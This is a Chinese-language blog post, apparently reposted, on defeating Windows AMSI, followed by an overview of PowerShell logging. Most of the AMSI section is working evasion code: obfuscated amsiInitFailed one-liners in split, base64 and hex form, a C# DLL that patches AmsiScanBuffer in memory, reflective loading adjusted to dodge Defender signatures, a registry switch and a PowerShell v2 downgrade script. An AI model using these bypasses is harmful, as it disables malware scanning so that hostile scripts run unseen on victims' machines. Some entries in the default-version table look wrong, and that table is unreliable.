AMSI 淺析及繞過


AMSI(Antimalware Scan Interface),即反惡意軟件掃描接口,在windows 10和 windows server 2016上默認安裝並啟用。顧名思義,他的工作就是掃描、檢測和阻止。windows 10和windows server2016中AMSI默認殺軟就是Windows Defender。

服務和應用程序可以通過AMSI來與系統中已安裝的反病毒軟件進行通信,也就是Windows Defender,AMSI采用了hook方法進行檢測,詳細的工作原理如下:

  • 創建PowerShell進程時,AMSI.DLL將從磁盤加載到其內存地址空間。
  • 在AMSI.DLL中,有一個名為AmsiScanBuffer()的函數,是用來掃描腳本內容的函數。
  • 在PowerShell中執行命令時,任何內容都將首先發送到AmsiScanBuffer(),然后再執行。
  • 隨后,AmsiScanBuffer()將Windows Defender檢查,以確定是否創建了任何簽名。
  • 如果該內容被認為是惡意的,它將被阻止運行。

在Windows 10上,實現AMSI的所有組件如下:

  • 用戶帳戶控制,或UAC(EXE、COM、MSI或ActiveX時的權限提升)
  • Powershell(腳本、交互式使用和動態代碼執行)
  • Windows腳本主機(wscript.exe和cscript.exe)
  • JavaScript和VBScript
  • Office VBA宏

AMSI的整體架構如圖所示:

wKg0C2DtgaSAU37WAACjNiRyrFw141.jpg

先查看一個示例:

wKg0C2DtgbOAY7CgAABqlDyHAZU198.png

如圖,"amsiutils" 這個詞被禁止了,AMSI認為這是一個惡意攻擊。

那我們如何繞過字符串檢測呢,最簡單的一個方法就是使用編碼或者分割成塊,然后拼接來繞過

下面列出三鍾方法

(1)直接把單詞分成兩塊或者多塊然后進行拼接,達到繞過的效果,但在大多數情況下可能會失敗

wKg0C2DtgcWAWqpUAABz1zTgY44907.png

(2)進行base64編碼直接繞過AMSI,在某些情況下,base64一下直接繞過去了

wKg0C2DtgdCAU54BAAB5G05ME48944.png

(3)使用XOR來繞過AMSI,並在運行時將字符串解碼回內存。這比上面的base64方法更有效

wKg0C2DtgdAVTDzAACJvjonCds805.png

當然還有其他編碼方式可以自行嘗試,上面這幾種方法都是為了繞過"字符串檢測",但是實際過程中,我們需要執行我們的腳本,也就腳本被AMSI阻止,我們通過一個實例來演示下繞過AMSI。

最早的繞過AMSI的方法是16年一個老外發布的,命令如下

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) 

我們把它放到powershell中運行,直接被AMSI阻止

wKg0C2DtgfqAHS5dAABLoMbxhk070.png

因此,我們嘗試上面方法,分割重組來實現一個簡單的AMSI 繞過

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $b = $a.GetField('amsiInitFailed','NonPublic,Static') $b.SetValue($null,$true) 

然后我們嘗試單行執行此命令,我們可以看到前兩行被AMSI阻止

wKg0C2DtghWASFnAAD7UEtVoMI278.png

所以,我們重新調整一下我們的代碼,然后我們就繞過了AMSI,加載了我們的腳本

$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils' $d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c)) $e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static') $e.SetValue($null,$true) 

當然也可以使用base64編碼,或者使用hex編碼,效果都是一樣的

base64編碼

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) 

hex編碼

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true) 

wKg0C2DtglmAG7vQAAFUZJ3Y6Is893.png

這種方法並沒有實際的繞過,而是禁用了AMSI,從powershell3.0開始,我們要完全繞過AMSI並執行任意powershell腳本的話,就需要完全禁用它

這是原作者的代碼,把如下代碼編譯成C#的DLL,使用反射加載技術

using System; using System.Runtime.InteropServices; namespace Bypass {   public class AMSI   {       [DllImport("kernel32")]       public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);       [DllImport("kernel32")]       public static extern IntPtr LoadLibrary(string name);       [DllImport("kernel32")]       public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);       [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]       static extern void MoveMemory(IntPtr dest, IntPtr src, int size);       public static int Disable()       {           IntPtr TargetDLL = LoadLibrary("amsi.dll");           if (TargetDLL == IntPtr.Zero)           {               Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");               return 1;           }           IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");           if (AmsiScanBufferPtr == IntPtr.Zero)           {               Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");               return 1;           }           UIntPtr dwSize = (UIntPtr)5;           uint Zero = 0;           if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))           {               Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");               return 1;           }                       Byte[] Patch = { 0x31, 0xff, 0x90 };           IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);           Marshal.Copy(Patch, 0, unmanagedPointer, 3);           MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);           Console.WriteLine("AmsiScanBuffer patch has been applied.");           return 0;       }   } } 

命名為"source.cs"

然后我們使用powershell來編譯它,在同目錄下打開powershell,運行以下命令編譯

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll" 

編譯后運行,直接被Defender給秒了(這里我把文件還原了一下,給大家看下效果圖)

wKg0C2Dtgo2AJtAkAACsT4TtZA067.png

然后我們把dll文件進行base64編碼****(Kali下,直接使用base64 -i 文件名,就可以得到base64編碼)****,然后使用powershell進行武器化,反射加載,也是直接被秒

unction Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {       [Reflection.Assembly]::Load([Convert]::FromBase64String("你的base64編碼")) | Out-Null       Write-Output "DLL has been reflected";   }   [Bypass.AMSI]::Disable() } 

如圖,直接被秒

wKg0C2DtgqmAGJINAABYVNnLwEs010.png

通過上面的知識,我們知道AMSI是基於字符串的檢測**,那我們就用工具去定位一下查殺點在哪。**

工具地址:https://github.com/RythmStick/AMSITrigger

wKg0C2DtgsOAAXY8AACpoyOAm7E030.png

如上圖所示,我們定位出查殺點是****"Bypass-AMSI、Bypass.AMSI、和一些base64中的一些字段"****。下面,我們嘗試對我們的腳本進行一個免殺處理,我們直接base64編碼轉換成byte數組

 $string = '' $a = [System.Convert]::FromBase64String('你的base64編碼') $a | foreach {$string = $string + $_.ToString()+','} $string 

wKg0C2DtgtuAdklhAAHDwodQ583.png

然后修改我們的源代碼,加載數組

function Bypass-AMSI {   if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {       [Reflection.Assembly]::Load([byte[]]@(這里是上面得到的byte數組)) | Out-Null       Write-Output "DLL has been reflected";   }   [Bypass.AMSI]::Disable(); } 

然后我們再去檢測一下,這次只剩下****"Bypass-AMSI、Bypass.AMSI"****關鍵字

wKg0C2Dtgu6ASgSDAABV7GOJ8yE675.png

這里,如果我們直接修改這幾個關鍵字會導致腳本運行直接報錯,因為這個是運用的反射方法,不了解反射的小伙伴,去Google一下,這里我們直接修改前面的source.cs中的代碼,只需要修改namespace、public class即可,如下圖

wKg0C2Dtgw2Af7BlAACtimLBr3w027.png

然后編譯成DLL,進行base64編碼,然后轉換byte數組,然后修改ps1腳本,修改完的如下:

wKg0C2DtgxAEXRWAABPQHldpk057.png

測試下效果,已經繞過AMSI

wKg0C2DtgyiAWtiQAAD1VFcx29k053.png

修改注冊表,將HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的值置為0

當然關閉Windows Defender 也可以使系統自帶的AMSI檢測無效化,這里注意當前權限。

wKg0C2Dtg0eAIzluAAB9XnGpcfo814.png

然后直接執行命令和加載腳本都不會攔截

wKg0C2Dtg1SAFIZLAABwY5Notgc811.png

powershell v2 版本不支持AMSI,我們可以將目標主機中的powershell降級至powershell v2版本。

代碼如下:

if ($ShowOnly -eq $True) {       Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process." } else {       Write-Verbose "Checking if .Net version 2.0.50727 is installed."       $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version if($versions -match "2.0.50727") {       Write-Verbose ".Net version 2.0.50727 found."       Write-Output "Executing the bypass."       powershell.exe -version 2 } else {       Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2." } } 

保存為 V2.ps1,運行即可繞過AMSI

wKg0C2Dtg26AMR07AACQ0Puyuvk526.png

這里使用的是一個在線平台,平台可以直接生成powershell代碼,這些代碼可以直接破壞或者禁用當前進程的AMSI,每次生成的代碼都是被混淆的,所以完全不擔心會被檢測到。

地址:https://amsi.fail/

效果如下圖:

wKg0C2Dtg4KAV6TEAAEihlPgrUg996.png

利用反射將內存中AmsiScanBuffer方法的檢測長度置為0

腳本地址:https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909

直接本地或者遠程加載即可繞過AMSI

wKg0C2Dtg6KAOv4rAACzyTjrok616.png

Nishang也自帶了bypassamsi的腳本,自行做免殺,避免上傳被秒

地址:https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1

其他一些過時的方法,我就不加了

上面咱們說完了怎么繞過AMSI,下面咱們來說下powershell日志。

默認情況下,這四種日志功能默認是不開啟的,但是在實際滲透中,系統肯定是默認開啟日志記錄的

wKg0C2Dtg7uACEu2AACtwdNmN1A615.png

關於日志的查看方法在事件查看器中**,下面我們來分別看下這四種**日志類型

1、模塊(module)日志

事件ID:4103

路徑:Microsoft > Windows > PowerShell/Operational

作用:可以為 powershell 模塊啟動日志記錄

wKg0C2DthCWADqe6AACt326KNI736.png

使用Get-Module -ListAvailable可以獲取可用的模塊名

wKg0C2DthDOAbwY7AAIBhC2aJIc577.png

2、管道執行(pipeline execute)日志

事件ID:800

路徑:事件管理器 > 應用程序和服務日志 > Windows PowerShell

作用:記錄 powershell 管道執行過程的事件簡介

wKg0C2DthECAauQ7AAEZBzpNfw542.png

3、腳本塊(script block)日志

事件id:4104

路徑:Microsoft > Windows > PowerShell/Operational

作用:powershell 講記錄命令、腳本塊、函數和腳本的處理

wKg0C2DthE6AZrOQAADburWsVQ199.png

4、腳本轉換(transcripttion)日志

可以將 powershell 命令的輸入和輸出捕獲到文本中

wKg0C2DthFuAQWnLAAB72EqRbm4757.png

四種日志記錄內容的對比

日志詳情 模塊日志 管道執行日志 腳本塊日志 腳本轉換日志
執行命令 有(包括腳本內容)
上下文信息
參數綁定詳情
解碼/解混淆代碼
命令輸出

powershell 每個版本對日志功能的對比

日志類型 V2版本 V3版本 V4版本 V5版本
模塊日志 支持 支持(V3增強) 支持
管道執行日志 支持 支持 支持 支持
腳本塊日志 支持 支持(自動記錄惡意命令)
腳本轉換日志 支持 支持(V4增強)

不同操作系統默認的powershell版本

操作系統 默認Powershell版本 可支持Powershell版本
Windows Server 2008(SP2) 2.0 3.0
Windows Server 2008 R2(SP1) 5.1 5.1
Windows Server 2012 3.0 5.1
Windows Server 2012(R2) 4.0 5.1
Windows 7(SP1) 5.1 5.1
Windows 8 3.0 5.1
Windows 8.1 4.0 5.1
Windows 10 5.0 5.1#
紅藍對抗AMSI繞過


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM